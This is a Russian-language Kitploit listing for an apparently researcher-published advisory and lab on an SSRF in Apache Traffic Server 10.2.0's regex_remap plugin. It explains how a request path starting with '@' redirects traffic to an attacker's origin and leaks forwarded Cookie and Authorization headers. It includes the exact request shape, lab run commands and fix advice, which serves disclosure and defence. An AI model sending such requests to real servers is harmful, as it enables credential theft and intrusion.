Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ats-regex-remap-userinfo — Apache Traffic Server 10.2.0 — высокий уровень — удалённо — SSRF — regex_remap noslash $n userinfo origin takeover | Kitploit
Инструменты/GitHubGitHub/abraxas/ats-regex-remap-userinfo
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьЛаборатории и Практика
GitHubabraxas/ats-regex-remap-userinfo

ats-regex-remap-userinfo

Apache Traffic Server 10.2.0 — высокий уровень — удалённо — SSRF — regex_remap noslash $n userinfo origin takeover

Репозиторий
14 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Abraxas Labs - ats-regex-remap-userinfo

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  ats-regex-remap-userinfo

ats-regex-remap-userinfo

Класс: SSRF Доступ: Удалённый

Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation

Подстановка $n в regex_remap конкатенируется в строку и передаётся в TSUrlParse, который выполняет url_clear, а затем разбирает её как полный URL. Захват, начинающийся с @, является userinfo по RFC 3986, поэтому origin оператора становится userinfo, а хост атакующего — origin. Cookie и Authorization пересылаются как uid ATS.

Остаток — http://origin:port$1 (без слэша). Документированный вариант http://origin/$1 остаётся на origin оператора, поскольку слэш завершает authority. Плагин не загружается по умолчанию.

Это не CVE-2026-58179 (url_len VLA, теперь LocalBuffer) и не CVE-2026-22068 (ядро regex_map полностью заякорено).

IDCVE пока нет
КлассSSRF
ДоступУдалённый (неаутентифицированный HTTP)
CWECWE-918
CVSSВысокий: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
ПродуктApache Traffic Server
Затронуто10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so noslash $n
Аутентификациянет. Плагин загружен. Подстановка http://origin:port$1.
ЛицензияGNU Affero GPL v3.0
Лабораториятолько 127.0.0.1:18730. Образ ats-10.2.0-lab:local.

Я зафиксировал тег 10.2.0, коммит b1df7334b39a878971c376da849e8da4984918b6. Образ собран из исходников.

Что может сделать атакующий

Неаутентифицированный HTTP к vhost, чей remap загружает regex_remap.so с $n непосредственно после host:port, без слэша.

МетодТочка сбросаПривилегия
GET /@evil-origin:8080/x с подстановкой http://good-origin:8080$1TSUrlParse после url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327)Целостность / SSRF (подтверждено в лаборатории): ATS обращается к evil-origin:8080 как к origin (userinfo=good-origin:8080). Cookie и Authorization пересылаются.
То жетело от origin атакующегоРазведка (подтверждено в лаборатории): ATS-REGEX-REMAP-USERINFO-WITNESS возвращается клиенту. cookie-fwd=True authorization-fwd=True.
Документированная подстановка http://good-origin:8080/$1authority завершается на /Закрыто (подтверждено в лаборатории): осталось на good-origin.
Подстановка http://$1оператор поместил $n в authoritySSRF (подтверждено в лаборатории): также достигнут evil-origin. Другая ошибка оператора.

Подтверждено в лаборатории vs выведено: остаток без слэша, документированный вариант со слэшем остаётся, dollar-at / dollar-host также ведут на evil, Cookie и Authorization пересылаются, контрольный /ok на good-origin: лаборатория. Что origin атакующего может сделать с этими заголовками — это то, чем этот хост уже является.

Требуется: плагин regex_remap. Карта с подстановкой http://origin:port$1 (без слэша). remap_required остался 1 (не открытый релей).

Смежная поверхность, которая остаётся закрытой

ПоверхностьЛаборатория
Документированный http://origin/$1slash=good
Хост ядра regex_mapRE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 закрыт)
Стек url_lenLocalBuffer (CVE-2026-58179 закрыт)
Открытый релей remap_required: 0не используется
КОНТРОЛЬНЫЙ GET /okgood-origin, без witness

Как я это нашёл

regex_remap строит строку dest из $n и вызывает TSUrlParse для всей строки целиком. URL.cc @ — это userinfo. Соедините http://good-origin:8080 + @evil-origin:8080/x, и парсер сделает ровно то, что предписывает RFC 3986.

Сначала я попробовал задокументированную форму. http://good-origin:8080/$1 с путём /@evil-origin:8080/x превращается в http://good-origin:8080/@evil-origin:8080/x. Слэш завершает authority. Остались на good-origin. Это не тот остаток.

Затем http://good-origin:8080$1 (без слэша). Dest http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Свидетель на evil origin. Cookie и Authorization пришли вместе с ним.

Неверные пути: подача задокументированной формы со слэшем; трактовка core regex_map как этого плагина; раздувание url_len VLA (исправлено); трактовка http://$1 как единственного остатка (это вторая ошибка оператора, а не ошибка без слэша).

Театр: reverse shell. Оракул — это тело origin плюс переданные Cookie / Authorization.

Лаборатория

python3 ats-regex-remap-userinfo-Abraxas-Labs.py

или

cd lab
./run.sh

Loopback 127.0.0.1:18730 (вредоносный origin также опубликован на 18731). Проект Compose ats-regex-remap-userinfo. Образ ats-10.2.0-lab:local. Три vhost: slash / noslash / dollar. Свидетель ATS-REGEX-REMAP-USERINFO-WITNESS. Последняя строка:

SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS

Исправление

Не конкатенируйте $n в authority. Оставляйте слэш между хостом и захватом или разбирайте subst как путь. Отклоняйте dest, хост которого не является origin оператора. Удаляйте userinfo из URL, построенных плагином. Документация не должна подразумевать, что http://origin/$1 — единственная форма, которую пишут операторы.

Ссылки

  • github.com/apache/trafficserver тег 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6)
  • regex_remap.cc TSUrlParse после subst
  • URL.cc @ userinfo
  • InkAPI.cc TSUrlParse
  • CWE-918
Скачать инструмент